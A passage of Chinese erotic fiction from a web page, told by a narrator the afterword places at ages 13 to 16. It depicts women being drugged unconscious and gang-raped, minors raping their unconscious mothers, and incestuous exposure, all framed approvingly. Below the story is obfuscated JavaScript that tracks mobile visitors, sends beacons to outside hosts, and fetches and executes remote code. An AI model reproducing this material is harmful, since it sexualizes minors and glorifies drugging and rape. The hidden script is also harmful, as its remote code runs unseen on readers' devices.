  只见两个老竽仔一组抓着一个妈妈, 另一个两手扒开妈妈的嘴巴, 拿酒的老竽仔则把酒瓶深入嘴中, 深怕遗漏了任何一滴酒, 慢慢的倒着, 等妈妈们一口吞下去后, 再倒另一口, 这中间, 我们听到有被酒辣到的咳嗽声, 但不一会儿, 两个酒瓶就空空的, 只听见金铁一声, 推拿, 架着妈妈的老竽仔就各伸出一只手轻拍妈妈与周妈妈的背, 不久, 我们就听到了好几个打嗝的声音.

  金铁笑了笑, 都吞肚里去了, 只见站在我妈妈前的老竽仔点点头, 好, 放开她们, 于是三个妈妈全身赤裸的互相依偎着, 不久, 就看见我妈妈抓着头说, 我的头好昏, 于是大姨与周妈妈扶着我妈妈到司令台旁坐下, 不久我妈妈就躺了下去, 周妈妈则开始在地上跪爬着, 喊天空在转, 没多久也躺了下去, 金铁命令大姨, 把这两个婊子与妳的衣服穿上, 于是大姨很快的就帮我妈妈与周妈妈的衣服套上.

  接着一个老竽仔拿出一只笔用力的往周妈妈大腿刺了一下, 周妈妈动都不动, 然后刺我妈妈, 也都毫无反应, 金铁说了声, 你们先走跟这婊子回去, 记住一定要灌倒她, 我看她比较强悍, 灌她两瓶, 免得出事, 只听大姨恐惧的喊着不要, 不要, 就被其中一个老竽仔一把推着走了, 金铁喊道, 你们把她摆平后就离去, 明天晚上在老地方集合, 于是十几个老竽仔抬着我妈妈与周妈妈回去了, 等他们走远, 金铁喊了声, 你们可以出来了, 我们三个才如大梦初醒般的被震醒从林子内走出来.

  金铁说, 小子们, 我安排的如何? 我们都说不出话来, 金铁说道, 你们不用怕, 那些人都是同一个眷村的单身汉, 大多数的都看过忠年的妈妈洗澡, 他们想却苦无机会, 今晚也算是功德一件, 以后他们就没有所谓的需求问题了, 忠年的妈妈应该可以应付, 我们点了点头, 现在, 你们回去吧, 明天就假装你们什幺都不知道, 明天晚上你们就不用来了, 我们办完事就会把她们三个送回去, 至于被绑的事, 就当我们开开玩笑好了, 吓唬她们而已, 我们都说好, 于是我们三个谢谢金老爹的完美安排后, 就开心的回家去了.

  回到大姨家后, 只见大姨也被灌醉了, 她赤裸裸的躺在藤椅上, 两腿开开的, 我们一看就知道老竽仔们在把她灌醉后, 脱了她的衣服猥亵她, 接着我们到后院的木屋内看到了我妈妈与周妈妈两个也全身精光的躺在一层的木板床上, 于是我们三个就把我妈妈抬去二楼木板上, 这样, 我们一个人可以在一个私人空间玩一个妈妈.

  只见志明等不及的爬上了楼上木板, 忠年看着周妈妈全裸的胸部, 我则一人去了客厅, 看见了大姨巨大的乳房, 再也无法忍受, 就脱了裤子, 把大姨的两腿用力拉起撑开, 把她其中一只腿跨在旁边的小茶几上, 就开始将肉棒插入大姨的穴内, 只感觉有够温暖的, 我轻轻的抽送着, 动作不是很灵活.

  虽然我们看过了不少黄色书刊, 也看过了瓦斯工人与我妈妈的镜头, 但是感觉就是怪怪的, 我觉得插起来很顺, 很奇怪妈妈为什幺被插时会喊得那幺痛, 难道是那根大小差太多了吗? 我边插着大姨边想, 好像我那根是比周伯伯那根差太多了, 于是我抽出肉棒, 用手掌按住了大姨的阴户, 我先伸出三个指头, 很顺, 接着第四跟指头一起插入拨弄大姨的美穴, 有点紧, 但还是可以.

  于是我再把大姆指也伸入, 并转动整个手掌, 出乎意料之外的, 我的手掌转了半圈, 我若有所悟的点点头, 心想, 他妈的, 整个手掌都可以进入, 难怪我那根那幺顺, 于是我就又把肉棒再度插入大姨的阴户内, 我着大姨满脸通红醉燻燻的睡得很沉, 心中没有顾忌, 开始双手揉着她的双乳, 肉棒用力的抽送着, 但总觉得很耗力气, 我又想着妈妈被干时的情景, 原来是女人的屁股也要迎合抽送.

  现在让我感觉我在干一个有体温的活死人, 都是我在出力, 没多久我已经全身大汗, 但是越累, 越觉得今晚得来不易, 于是一直猛力的干着大姨美穴, 过了十几分钟, 我已经快不行了, 这时听见厨房纱门打开的声音, 是志明与忠年干完了我妈妈与周妈妈进来了, 志明看到我还在猛干大姨, 就问道, 你射几次了, 我喘着说还没有.

  志明喊着说快射, 他要干大姨了, 我问说你们射哪里, 他们两个笑着说, 当然射里面ㄚ, 这样感觉才爽, 我点了点头后, 再也忍不住, 就ㄚ的一声, 整个人静止不动的把所有的精液射入大姨体内了.

  接着, 我们接力换手, 我进木屋内去干周妈妈, 忠年上二楼去干我妈妈, 志明在客厅内干大姨, 完事后, 我们各自拿着溼毛巾照顾与擦拭自己的妈妈, 我轻揉着妈妈的双乳, 看着她的美姿, 用一根手指头包着毛巾插入妈妈的阴户内挖弄着, 试图把今晚一堆人残留在妈妈阴道口附近的精液擦拭乾净, 然后再帮妈妈擦拭全身, 接着把她的睡衣穿上, 通通弄好后, 我们三个人合力的把我妈妈搬到一楼木板床上, 也把大姨从客厅搬到木屋内, 让她们三个平行的躺在一起并盖上棉被后, 我们就赶快的跑到后院沖了冷水澡, 然后上木屋的二楼去睡觉, 由于我们三个都太累, 一下子就睡着了.

  第二天已近中午, 我们三个听见大姨在叫着我们吃饭, 于是就下了楼出来, 只见三个妈妈都已穿戴整齐, 我就问妈妈说妳们要去哪里, 她有点心虚的笑着说要跟阿姨们去商量事情, 并问我说昨天晚上怎幺去那幺久, 我很技巧的说我们去买的那一家麵摊没菜了, 我们就走得更远, 这时大姨用怀疑的眼光看着我问说, 你们都没有出事.

  忠年此时接了腔说道, 我们有遇到一些人, 因为天黑, 我们无法确定是哪个村子的, 但好像都是老伯伯, 我们有喊各位伯伯好, 然后就没理他们了, 只见到三个妈妈都吐了一口气说, 哦, 原来是这样, 志明说, 我们买了宵夜回司令台后, 找不倒妳们三个, 我们猜大概妳们怕冷先回家了, 于是我们三个把宵夜吃完就回来家了, 一进门看到妳们已经在睡觉, 我们也不敢吵妳们了.

  周妈妈紧张的问说, 你们真的看见我们已经在睡了吗? 我们齐点头说是, 我妈妈问说, 那我们有没有盖被子, 我们三个差点笑出来, 但是志明说, 当然有ㄚ, 不然妳们床上那些棉被是谁帮妳们盖的, 只见大姨出声制止我妈妈再问下去, 说道, 你们三个小孩很乖, 大姨已经煮了些水饺, 你们吃, 我们三个要出去, 傍晚才回来, 下午你们自己玩, 我们答应的说好以后, 妈妈她们就出门去了.

  我们三个很高兴得庆祝计划成功, 下午就在家畅谈着昨晚令人兴奋的情景, 到了晚上, 妈妈她们回来与我们共进晚餐后, 很快的就去梳洗完毕, 并换上了诱人的睡衣, 我们三个与妈妈在客厅聊天到晚上快11点时, 她们说想三个人一起出去走走, 叫我们别跟, 我们当然说好.

  但就在她们走后, 我们偷偷的溜去野外教练场司令台后面的林子内, 只见司令台前黑压压的挤一群人, 我们算了一下, 少说也有40几个, 只见三个全身赤裸的妈妈被命令互相舔着对方的阴户或奶子, 我们三个互相微笑了一下, 都不愿再看下去, 就回大姨家去了.

  第二天, 我们四个人就回台北去了, 忠年帮我们买了黄牛票的莒光号, 很快的就到了台北, 而妈妈回到台北的家以后, 除了隔壁房东郑伯伯与瓦斯工人以外, 偶尔也穿着睡衣直奔周妈妈家去了, 有时与周妈妈两个人赤身裸体的在前院花园互相拥抱亲吻, 有时与周伯伯和周妈妈在房间玩三人行.

  不久后, 周妈妈的大嘴也渐渐把妈妈的淫行传开了, 直到有一天爸爸知道了, 趁妈妈在二楼阳台旁浴室洗澡让房东郑伯白观看时, 冲进去把妈妈打了一顿, 然后把她全身赤裸的赶出了家门, 刚好被我放学回家看到这一幕, 光着身体的妈妈发抖着蹲在家门口, 我立即进房胡乱抓了件衣服冲出来, 给妈妈穿上, 那是一件大红色的开前厚睡袍, 我很快的拦了辆计程车, 也不知道哪里来的点子, 就跟司机说道, 敦化南路复旦桥口, 我準备先带着妈妈去大伯家投靠….(续)

  计程车很快的就到了复旦桥下的光武西村, 大伯是一位建材商, 至今未娶, 在我看到妈妈被赶出门时, 下意识的就是先到大伯家来求救, 我相信大伯说的话, 爸爸应该会听, 我决定带着妈妈求大伯让爸爸同意妈妈回去.

  我们按了大伯家的门铃, 大伯刚好在家, 他很高兴的招呼我们进去家里, 当他眼睛一转到妈妈身上那件睡袍时, 他愣住了说, 秋兰, 妳怎幺穿…, 这时妈妈说, 大伯, 我对不起你们, 说完就哭着跪了下去, 我与大伯都愣住了, 大伯总算有见过世面, 马上走上前把妈妈拉起, 这一拉把本来绑得紧紧的睡袍给拉鬆了, 这时站在旁边的我看见了厚浴袍内的一对丰满的乳房, 大伯也呆住了, 但是妈妈低着头猛哭就是不站起来, 她根本不知道她那两颗会让人想吸的奶子被大伯看见了.

  只见大伯两手按在妈妈的肩上安慰她, 妈妈的睡袍在胸前鼓出了一个开口, 妈继续低着头哭着, 大伯站在妈的正前方目不转睛的看着睡袍内的两颗奶子, 停了约一分钟以后, 说道, 阿豪, 扶妳妈妈起来吧, 我就赶紧把妈妈扶起, 妈妈低着头弯着身的站起来, 睡袍更开了, 几乎开到了肚子, 她自己也发现了, 马上双手把睡袍再度拉紧, 这时大伯叫妈妈先坐下, 他进去房间打电话给我爸爸.

  过了约20分钟, 大伯出来了说, 秋兰, 刚刚我已经从我弟弟那边知道了妳的事情, 他现在很生气, 我已经跟他说你暂时住在我们家, 等他气消了点, 我会帮妳处理, 我妈妈一直哭着说谢谢.

  大伯去买了便当晚餐, 由于我与妈妈晚上都没吃饭, 饿得半死, 说了谢谢就狼吞虎嚥起来, 由于吃得很快, 突然间妈妈的喉咙咳了一声, 脸色转为痛苦, 我问妈妈什幺事, 妈妈指着我吃剩的排骨骨头, 说不出话来, 原来她吃太快, 竟然不小心把一小块骨头给吞了下去, 我们赶快拿水给妈妈喝, 只见妈妈痛苦的脸猛冒汗, 胸部一直起伏, 大伯见状连忙用力拍着妈妈的背.

  接着妈妈指着自己的食道位置, 大伯就赶紧拍着妈妈的胸前, 拍着拍着我发现大伯的手渐渐拍在妈妈的乳房上,妈妈的睡袍也因为被拉开, 两颗乳房半露了出来, 我在旁边看见妈妈的奶头由软转硬, 最后挺立, 过了几分钟后妈妈终于可以讲话了, 她摇着头说真是不好意思, 让大家紧张一场, 我与大伯看见妈妈没事就鬆了一口气.

  当晚, 大伯让我与妈妈睡房间, 我在妈妈睡的床边打地舖, 大伯则睡客厅沙发, 由于妈妈太累, 因此一下子就熟睡了, 到了半夜时我听见大伯起来上厕所的声音, 由于大伯会经过我们房间, 我就偷偷的拉开了妈妈的睡袍带子, 这时妈妈整个胸前与阴部裸露出来, 当大伯经过房间门口时, 脚步声停住了, 他看见了妈妈光溜溜的身体, 大伯看了约几分钟, 才进去厕所, 没多久, 大伯上完厕所又经过房间时, 我听见了大伯蹑着脚慢慢走进房间的声音.

  他走到妈妈的旁边, 欣赏着妈妈丰满的乳房与乌黑浓密的下体, 没多久, 妈妈轻轻扭动着身体翻身, 大伯赶紧走出房间去, 我看到妈妈转身后睡袍已快整件脱离身体, 索性就爬起来把妈妈的睡袍顺着她的手臂给脱下, 这时妈妈全身裸体睡着, 没多久, 大伯的脚步声又回来了, 当他进到门内, 站了足足好几分钟, 我在猜如果我不在, 大伯一定会上了妈妈.

  就这样我闭着眼睛没多久就睡着了, 第二天早上我起床时, 妈妈已经準备好早餐了, 大伯已经出门去公司, 我吃完早餐后就去上学, 妈妈正在洗澡, 出门时看见妈妈的睡袍在洗衣篮内泡水, 她一定是认为衣服掉在床下髒掉了, 我心想她也没有别的衣服穿, 一定是大伯与我白天都不在, 才把衣服洗上, 準备等我们回家前晾乾穿回.

  在学校里我有个死党, 名叫阿兴, 都是青春期的少年, 我们一天到晚聚在一起偷看黄色书刊, 今天我们又在上课时偷看, 下课时我把他拉到教室旁边, 邀他中午翘课去我大伯家, 他满脸疑虑的问我为什幺, 我跟他说去看精彩的, 比书上的还精彩, 他半信半疑的跟着我翘课.

  我们回到大伯家时已经快一点了, 从大伯家的后阳台上我看见妈妈的睡袍晾在那边, 我心中狂喜的按电铃, 没多久听见妈妈在门后面问说是谁, 一听见是我就把门打开了, 我进了门看见妈妈裹着一条浴巾, 妈妈说她把睡袍洗了要等一下才会乾, 头一转就看见阿兴, 妈妈愣住了, 阿兴也愣住了, 妈妈的裹在身上的浴巾不够大, 只能够稍为把乳房上的奶头遮住, 一对又白又满的大乳房几乎完全暴露在浴巾外, 底下也只刚好遮住妈妈的阴部.

  妈妈脸红的说你还有同学来呀, 我说对啊, 今天学校下午停课要準备校庆, 所以我就带阿兴回来, 妈妈尴尬的请阿兴进门, 我跟妈妈说还没吃饭, 逼得妈妈裹着浴巾进厨房煮饭, 由于浴巾很小, 拉不紧, 我与阿兴就兴奋的坐在客厅看电视但眼睛却一直往厨房飘, 看着妈妈露在浴巾外的两个大屁股, 偶尔妈妈弯身切菜时还可以见到妈妈屁股中间那又黑又肥的黑毛.

  阿兴看得快抓狂了, 这时妈妈的浴巾又不小心滑下掉在地上, 妈妈转身要捡起浴巾时, 两颗大奶头立即呈现在我们眼前, 阿兴暗地直说太爽了, 我也看得很兴奋, 于是我就找阿兴拿着冰水, 一起后阳台聊天, 阿兴直说妈妈的身材太丰满了, 真是大开眼界, 第一次看见真实的女人肉体, 接着他居然把整杯冰水轻轻的倒在妈妈的睡袍上, 并说这下子今天就不会乾了, 他说帮我製造机会让妈妈一直裹着浴巾, 我听了哈哈大笑.

  整个下午, 我们两个就在大伯家聊天, 妈妈躲在房间内不好意思出来, 到了四点多, 阿兴回家去了, 妈妈才鬆了一口气出来客厅, 并略带责怪的语气告诉我说, 下次不可再带同学来大伯家, 我点头说好.

  到了傍晚, 我听见妈妈在阳台喃喃自语的唸着说, 奇怪, 怎幺浴袍还是湿湿的, 我假装没听到, 于是妈妈只好继续裹着浴巾做晚餐, 我心想大伯就快回家了, 今晚真的有好戏看了, 果然到了六点多快七点, 大伯回家了, 我很快的跑去开门, 大伯带着一脸疲惫进门, 没想到才在客厅放下包包, 就看见裹着浴巾的妈妈露着两片大屁股正在炒菜.

  大伯眼中一亮, 吞了一口口水, 我倒了一杯茶给大伯喝, 大伯立刻一口气喝光了, 这时妈妈端着菜走了出来, 她脸红红的跟大伯打招呼, 然后说她的浴袍正在洗还没乾, 大伯微笑的点点头没答话, 妈妈赶紧回厨房去, 晚餐时, 因为大伯有着妈妈近乎赤裸的穿着, 因此格外的健谈, 这顿饭吃得我们三个都很高兴, 饭后, 妈妈削了一盘水果给我们吃, 当她来去之际我与大伯都看着妈妈的两个大奶或者大屁股.

  也许是水果可以帮助消化, 吃完水果没多久, 妈妈就去上厕所了, 我与大伯则继续看着电视聊天, 过了二十分钟, 妈妈还没出来, 也没听见她在洗澡的声音, 于是我就走到厕所门外敲门问妈妈在干什幺, 妈妈答道她在上大号, 我叫妈妈快一点, 我说我也想上, 妈妈叫我等一下, 我回到客厅继续与大伯又聊了快十分钟, 就再度走去厕所敲门, 妈妈还是叫我等一下, 但声音有点不对, 像是在发抖着, 我马上跑回客厅请大伯跟我一起去厕所.

  大伯问道说, 秋兰, 妳怎幺了, 妈妈先是说没什幺, 随后又啊的喊痛的叫了一声, 我与大伯都吓了一跳, 马上再敲门, 妈妈这时用很痛苦的声音说, 大伯, 我想叫阿豪先进来一下, 你先回客厅吧, 大伯不解的说好, 就先离开, 接着, 妈妈打开了浴室门, 浴巾掉在一旁, 我看见全身赤裸的妈妈坐在马桶上, 双手后抱着屁股, 好像在抠着屁股, 汗珠流满了两颗乳房.

  妈妈痛苦着看着我说, 阿豪, 昨天那根鸡骨头卡住了, 我大不出来, 好痛, 赶快帮妈妈看一看, 拿出来, 说完话, 妈妈就半蹲的站起来将她的屁股面对着我, 然后弯着腰将屁股挺起, 两手将两片肥臀扒开, 我看得头皮发麻, 居然有这种机会可以名正言顺的看着妈妈的屁眼, 还要帮她挖出鸡骨头, 虽然有着大便的臭味, 但看着妈妈自己扒开的屁眼, 旁边妈妈的阴户也完全展现在我眼前, 两片大红阴唇开开的看得我几乎没办法呼吸.

  我把手指试着去挖妈妈的屁眼, 但是洞太小, 伸不进去, 挖了半天, 我告诉妈妈我没办法, 要去请大伯帮妈妈挟出鸡骨头, 妈妈无奈的歎口气说好, 我去找大伯, 他先是犹豫, 后被我半推着往浴室走进去, 看到妈妈拿着浴巾遮着她的乳房, 难为情的坐在马桶上, 大伯乾咳了一声说, 秋兰, 妳被昨天的鸡骨头卡到了, 妈妈很小声的说是, 真是太丢脸了, 让大伯见笑了, 大伯说, 既然都已经这样了, 就到外面来吧, 灯光比较亮.

  于是我扶着全裸的妈妈走到浴室外的餐厅, 妈妈一拐一拐痛苦的开着双腿走着, 大伯拉了一张椅子坐下后, 我把妈妈扶到了大伯前面, 让妈妈背对着大伯, 妈妈两手按在地上, 弯着腰, 把一对雪白的屁股对正着大伯, 大伯戴起了他的眼镜, 手上拿着掏耳朵的细钳子, 我则帮忙把妈妈的屁股用力扳开, 只见妈妈的屁眼全开的在我们眼前.

  大伯把夹子伸进去妈妈的屁眼内试着找鸡骨头, 只见一跟手掌长的夹子越伸越进去, 大伯的手左右轻摇的操纵着在妈妈体内的夹子, 妈妈不时的哀叫着喊痛, 不久, 大伯突然喊一声, 我夹到了, 接着大伯就轻轻的把鸡骨头拖出来, 但拖到妈妈的肛门时就拖不动了, 可能鸡骨头太宽, 于是大伯就在妈妈的肛门内用尽各种方式夹着骨头要拖出, 但就是不成功.

  这时妈妈喊道她忍耐不住了, 然后一股金黄色的尿液喷射而出, 直接喷到大伯的双腿上, 其他的则顺着妈妈的大腿两旁流下, 妈妈直说对不起, 但大伯却动都不动专心的继续帮妈妈夹骨头, 这时大伯突然想到一个方法, 叫我去厨房拿猪油出来, 我赶紧跑去拿了一块冻状猪油出来, 大伯叫我把油抹在妈妈的屁眼周围, 我很使劲的涂抹, 边涂边揉的把妈妈的屁眼再撑开大一点, 这时可以用肉眼看见那块骨头了, 终于, 成功的把妈妈体内的鸡骨头拿出来.

  妈妈终于脱离了恶梦, 我赶紧扶着妈妈进浴室, 帮她放热水準备洗澡, 妈妈痛苦的走着, 看着大伯被她尿了满裤子, 妈妈不安的直向大伯抱歉, 并请大伯先进去洗, 大伯直说不用, 先让我妈妈洗, 于是我把妈妈扶进浴室后, 妈妈说她想顺便洗大伯的衣物, 叫我把大伯的弄髒衣物拿进去, 我跟妈妈说好, 就出来请大伯进浴室去把髒衣物脱下来给妈妈, 就在大伯进浴室后, 我就把浴室门关上.

  只听见妈妈一再的向大伯对不起, 大伯看着全裸的妈妈坐在浴缸内, 很尴尬的说没关係, 妈妈一直催促大伯把髒衣服脱下来, 大伯只好一件一件的脱, 这时我听见妈妈说, 大哥, 你已经脱光了, 进来吧, 我帮你洗, 大伯嗯一声, 我听见了浴缸水溅出来的声音, 接着就是强力的沖水声, 没多久, 沖水声停止, 浴室内传出抹肥皂的声音, 接着我听见大伯喊了一声, 秋兰, 我爱妳, 妈妈才出声说, 大伯, 我.., 就听见了接吻声, 然后就嗯…嗯…嗯, 的声音不断, 我想妈妈与大伯已经融合了, 就返回客厅看电视去了.

  过了一个多小时, 大伯穿着短裤打着赤膊出来了, 接着妈妈居然全裸的走出来, 妈妈笑着说反正刚刚都已经被你们两个看够了, 衣服也没乾, 乾脆不穿了, 说完就直接走到大伯旁边依偎着, 大伯则大方的搂着妈妈的肩膀说, 阿豪, 你不会见怪吧, 我笑着说, 大伯, 你帮了妈妈大忙, 她高兴我也高兴, 今晚我睡客厅, 大伯开心的直说好好, 阿豪真是乖, 妈妈也看着我微笑, 于是就跟大伯手牵着手的进房间去了, 故事写到这里, 以后有空, 我妈妈精彩的故事再写给各位看.

  写在后面:

  本篇是描写我在13~16岁时与妈妈一起经历过的情景, 从当时的不知大人事到现在, 让我感觉她也是很无奈的, 当女人的蓬门被打开太多次以后, 就会让她永远张开双腿, 来者不拒, 现在, 请慢慢欣赏吧!

  ---------------------------

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();